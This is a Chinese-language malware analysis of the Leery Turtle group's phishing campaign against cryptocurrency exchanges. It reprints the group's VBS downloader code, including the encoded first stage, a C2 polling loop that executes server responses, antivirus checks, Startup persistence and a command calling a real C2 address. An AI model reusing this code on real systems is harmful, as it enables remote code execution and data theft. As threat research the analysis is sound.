对Leery Turtle组织针对加密货币公司攻击活动的分析

来自:backup 2020-06-10

0x01  Leery Turtle组织介绍

Leery Turtle组织是一个威胁组织,从2017年底开始活跃。,他们的目标是全球的加密货币交易所公司。 他们不断地进行长时间的钓鱼活动,用定制的恶意软件感染目标。

我们的分析的结论是,该组织是系统运作、持续攻击和有团队资助的。

观察到的所有活动都是针对加密货币交易所公司的, Leery Turtle组织不关注任何特定的区域,瞄准世界各地的企业。

在他们的行动中,Leery Turtle组织采用了广泛的侦察战术。 为了指定易受攻击的入口点,他们发送带有非恶意附件的诱饵电子邮件,并监视他们的目标中哪些倾向于打开和下载它们。 证据还表明,LeeryTurtle选择了一些目标,以了解他们私人生活的细节。

攻击会经常用到文件存储服务,如谷歌驱动器,微软一驱动器等。 他们还使用电子邮件欺骗技术,使电子邮件看起来像来自同事。

图片1-示例钓鱼电子邮件模仿谷歌驱动器

0x02  关键攻击技术分析

攻击的步骤如下:

1.一个密码保护的PDF文件与一个LNK快捷方式一起发送,该快捷方式模仿包含pdf密码的文本文件。

2. 双击时,快捷文件通过Windows实用程序mshta.exe向远程服务器发送HTTP请求。 此请求下载并执行第一阶段载荷。

3. 攻击者的Web服务器使用将执行的VBS有效载荷进行响应。 服务器端还存在其他控件, 例如,我们观察到服务器正在检查用户代理字符串是否与MSHTA匹配。

4. 我们观察到Web服务器总是在TCP8080上运行。

5. 第一级有效载荷收集有关受感染系统的信息,并将它们发送到命令和控制服务器。

6. 数控服务器响应第二阶段VBS有效载荷,这将保存在%Temp%目录下。

7. 恶意软件在Startup目录下创建一个名为“xBoxOne.lnk”的快捷文件,作为持久性的一种手段。

LNK Shortcut File - Password.txt.lnk

LNK Shortcut File是一种简单的快捷方式,它使用Microsoft的系统实用程序MSHTA从远程服务器下载和执行VBS代码。 据观察,攻击者在操作的每个阶段都使用URL缩短服务“bit.ly”。

File Dropping and Persistency - First Stage Downloader

可以看到,恶意软件正在删除下面的代码片段中的文件。 恶意软件包含一个Base64编码的代码,然后用.vbs扩展名在%Temp%目录下进行解码和删除。 之后,它在Startup目录下创建另一个快捷文件,作为持久化的一种手段

 ucr="//bit.ly/37W6fgx"
 … 
 ln="b24gZXJyb3IgcmVzdW1lIG5leHQNCnJhbmRvbWl6ZQ0KaWYgV1NjcmlwdC5Bcmd1b
 WVudHMuTGVuZ3RoPjAgdGhlbg0KCUhUUD0iaHQiDQoJdXU9SFRQJiJ0cDoiJiIvLyImV1
 NjcmlwdC5Bcmd1bWVudHMuSXRlbSgwKQ0KCWNvYj0iV2luSHR0cCI"&"NCgljb2I9Y29i
 JiJSZXF1ZXN0LiINCgljb2I9Ildpbkh0dHAiJiIuIiZjb2INCgljb2I9Y29iJiI1LjEiD
 QoJc2V0IHdocj1DcmVhdGVPYmplY3QoY29iKQ0KCWRvIHdoaWxlIHRydWUNCgkJcHM9Il
 BPIg0KCQl0dz0iMiINCgkJcnRjPSIiDQoJCXRwYz11dSYiPyImInRvcCImImljPSImInM
 iJk"&"ludCgxMDAwKnJuZCs5MDAwKQ0KCQl3aHIuT3BlbiBwcyYiU1QiLHRwYyxmYWxzZ
 Q0KCQl3aHIuU2VuZCB0dyYiMDAiDQoJ"&"CWlmIHdoci5TdGF0dXM9MjAwIFRoZW4NCgk
 JCXJ0Yz13aHIuUmVzcG9uc2VUZXh0DQoJCWVuZCBpZg0KCQlpZiBydGM8PiIiIHRoZW4N
 CgkJCUV4ZWN1dGUocnRjKQ0KCQkJZXhpdCBkbw0KCQllbmQgaWYNCgkJV1NjcmlwdC5Tb
 GVlcCAxODAqMTAwMA0KCWxvb3ANCmVuZCBpZg0K"
 set fob=CreateObject("Scripting.FileSystemObject") 
 flp=fob.GetSpecialFolder(2)&"\"&"Xbox"&".l"&"nk"
 Set tcl=wish.CreateShortcut(flp) 
 tcl.TargetPath="msh"&"ta"
 pf=fob.GetSpecialFolder(2)&"\mfesf.vbs"
 set btf=fob.OpenTextFile(pf,2,true) 
 tcl.Arguments=ucr 
 … 
 btf.Write dbsc(ln) 
 btf.Close()

Base64 Decoded VBS Code - First Stage Downloader

此代码片段定期向CNC发送POST请求以接收要执行的命令。

 on error resume next 
 randomize 
 if WScript.Arguments.Length>0 then 
  HTP="ht"
  uu=HTP&"tp:"&"//"&WScript.Arguments.Item(0) 
  cob="WinHttp"
  cob=cob&"Request."
  cob="WinHttp"&"."&cob 
  cob=cob&"5.1"
  set whr=CreateObject(cob) 
  do while true 
  ps="PO"
  tw="2"
  rtc=""
  tpc=uu&"?"&"top"&"ic="&"s"∬(1000*rnd+9000) 
  whr.Open ps&"ST",tpc,false 
  whr.Send tw&"00"
  if whr.Status=200 Then 
  rtc=whr.ResponseText 
  end if 
  if rtc<>"" then 
  Execute(rtc) 
  exit do 
  end if 
  WScript.Sleep 180*1000 
  loop 
 end if

Checking for Security Products - First Stage Downloader

恶意软件通过与WMI交互来枚举进程列表。 之后,它检查了几种杀软的存在。 如果出现了中国AV产品Qihoo360Total Security,那么它就会删除它创建了一段时间的启动下的快捷方式。 因此,如果存在此安全产品,恶意软件不会在系统上持续存在。

 set wmi=GetObject("winmgmts:{impersonationLevel=impersonate}!\\.
 \root\cimv2") 
 set pl=wmi.ExecQuery("Select * from "&"Win32_Process") 
 for each pi in pl 
  tpl=tpl&LCase(pi.Name)&"|"
 next 
 ex="ws"
 if Instr(tpl,"kwsp"&"rot")>0 or Instr(tpl,"nppr"&"ot")>0 then 
  ex="cs"
 end if 
 ln="star"&"t /b " & ex & "cr"&"ipt """&pf&""" "+"203.144.133.42:8080/
 edit"
 ln2=" & move """&flp&""" """& wish.SpecialFolders("startup") &"\"""
 if Instr(tpl,"hudo"&"ngf")>0 or Instr(tpl,"qhs"&"afe")>0 then 
  ln2=" & del """&flp&""""
 else 
  tcl.Save 
 end if 
 wish.run "CM"&"D.E"&"XE "&"/c " & ln&" 1" & " & " & ln&" 2" &
 ln2,0,false

Information Gathering Through WMI – Second Stage Malware

恶意软件通过WMI收集大量关于本地系统的信息。 据观察,这些信息后来被恶意软件发送到CNC服务器。

 set adapItems=ObjWMI.ExecQuery("SELECT * FROM 
 Win32_NetworkAdapterConfiguration",,48) 
  for each adapter in adapItems 
  on error resume next 
  if isNull(adapter.IPAddress) then 
  else 
  getInfo=getInfo+"Network 
 Adapter:"+tab&adapter.Description+ent 
  getInfo=getInfo+" MAC 
 Address:"+tab&adapter.MACAddress + ent 
  getInfo=getInfo+" IP 
 Address:"+tab+Join(adapter.IPAddress, ",") + ent 
  getInfo=getInfo+" Subnet 
 Mask:"+tab+Join(adapter.IPSubnet, ",") + ent 
  getInfo=getInfo+" Default 
 Gateway:"+tab+Join(adapter.DefaultIPGateway, ",")+ ent 
  if adapter.DHCPEnabled=true then 
  getInfo=getInfo+" DHCP 
 Servers:"+tab&adapter.DHCPServer + ent 
  end if 
  getInfo=getInfo+" DNS 
 Server:"+tab+Join(adapter.DNSServerSearchOrder, ",") + ent 
  end if 
  next

数据发送给CNC

 Current Time: 12/3/2019 6:51:57 AM 
 Username: USER-PC\admin 
 Hostname: USER-PC 
 OS Name: Microsoft Windows 7 Professional 32-bit 
 OS Version: 6.1.7601 
 Install Date: 10/05/2017 
 Boot Time: 12/3/2019 5:48:54 AM 
 Time Zone: (UTC 0 hours) GMT Standard Time 
 CPU: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz (x64) 
 Path: C:\Users\admin\AppData\Local\Temp\mfesf.vbs 
 Network Adapter: Intel(R) PRO/1000 MT Network Connection 
  MAC Address: 52:54:00:4A:04:AF 
  IP Address: 192.168.100.207,fe80::a179:b3ff:199:2314 
  Subnet Mask: 255.255.255.0,64 
  Default Gateway: 192.168.100.2 
  DNS Server: 192.168.100.2 
 3696 1 "C:\Windows\System32\cmd.exe" /C "ECHO huobi>C:
 \Users\admin\AppData\Local\Temp\Password.txt&NOTEPAD.EXE C:
 \Users\admin\AppData\Local\Temp\Password.txt&DEL C:
 \Users\admin\AppData\Local\Temp\Password.txt" 
 2884 1 \??\C:\Windows\system32\conhost.exe 
 328 1 NOTEPAD.EXE C:
 \Users\admin\AppData\Local\Temp\Password.txt 
 2712 0 WmiPrvSE.exe 
 1768 1 wscript "C:\Users\admin\AppData\Local\Temp\mfesf.vbs" 
 203.144.133.42:8080/edit 1 
 1096 1 wscript "C:\Users\admin\AppData\Local\Temp\mfesf.vbs" 
 203.144.133.42:8080/edit 2

Command and Control Communication – Second Stage Malware

据观察,恶意软件有两种不同的通信方法来接收命令。 第一种方法是简单地接收Base64编码格式的命令。 以“23#”开头的数控响应正在使用这种方法。

第二个有点复杂。 这一次恶意软件将从CNC接收第二个URL,然后它将向这个URL发送一个GET请求。 第二个服务器将使用加密的有效载荷和解密密钥进行响应。 我们认为,这一机制是一个更有弹性的控制系统。 以“20#”开头的数控响应正在使用这种方法。

1.简单的通信方法

2.Dead-Drop 通讯方法

这个组织使用的技术和战术是根据下面的MITREATT&CK框架映射的

0x03  检测和缓解措施

0x04  附录文件